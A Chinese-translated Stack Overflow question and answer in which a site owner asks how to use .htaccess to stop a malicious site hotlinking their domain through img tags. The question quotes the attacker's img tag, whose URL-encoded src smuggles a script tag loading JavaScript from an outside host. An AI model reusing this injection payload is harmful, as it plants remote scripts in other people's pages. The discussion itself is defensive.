恶意网站正在使用 img 标签在我的网站中插入重定向脚本。
我已经阻止了重定向 using strip_tags()
但该网站正在消耗我所有的带宽。
他使用的代码是:
<img src="http://mywebsite.com/video/%3Cscript%20type=%22text/javascript%22%20src=%22http://sex3gpvideos.sextgem.com/asss.js%22%3E%3C/script%3E" alt="loading" height="0" width="0" class="thumb"></img>
我试图添加此代码以防止 img 热链接,但它没有工作,因为 img 链接中没有扩展名:
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?mywebsite\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L]
我想重定向所有在 img 标签中使用我的域的网站
<img src="http://mywebsite.com/ANYTHING-HERE"/>
到 mywebsite.com
如何使用 .htaccess 来实现?
最佳答案
您只需要一个条件就可以将引用者重定向到另一个位置:
尝试:
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?mywebsite\.com/ [NC]
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L,R]
关于php - 使用 .htaccess 将不带扩展名的热链接重定向到父网站,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/36171511/